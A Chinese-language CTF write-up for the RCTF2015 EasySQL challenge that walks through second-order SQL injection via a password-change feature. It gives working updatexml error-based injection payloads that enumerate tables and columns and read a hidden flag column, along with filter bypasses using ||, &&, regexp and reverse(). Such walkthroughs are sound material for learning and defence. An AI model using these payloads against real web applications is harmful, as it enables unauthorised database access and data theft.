[RCTF2015]EasySQL
[RCTF2015]EasySQL
考点
二次注入
报错注入
&&绕过andregexp绕过=和like处理过滤空格
wp
有登录注册功能,注册页面,试了一下,username 和 email 处有过滤,输入aaaa'和aaaa\直接提示invalid string!
直接 fuzz 一下哪些字符被禁了

注册成功之后,有一个修改密码的功能,这里的考点应该就是二次注入。二次注入就是它在存入数据库时进行了特殊字符的处理,但是在修改密码这里,从数据库中读取出来时,没有对数据处理
注册用户名 aaaa" ,在修改密码时有个报错的回显

可以判断注册的语句如下
INSERT INTO users(name,pwd,email) VALUES (waf(username),md5(password),waf(email))修改密码的语句如下
update users set pwd="newpass" where name="username" and pwd="oldpass"可以考虑报错注入
username=bbbb"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
得到回显XPATH syntax error: ':article,flag,users'
试了一下发现flag 不在 flag 表中,username=bbbb"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#,提示XPATH syntax error: ':name,pwd,email,real_flag_1s_her',没有显示全
这时候可以考虑reverse()函数,或者使用&&绕过and,regexp绕过=和like
使用username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#,得到XPATH syntax error: ':real_flag_1s_here'
然后读取就可以了
username=bbbb"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
username=bbbb"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#最后更新于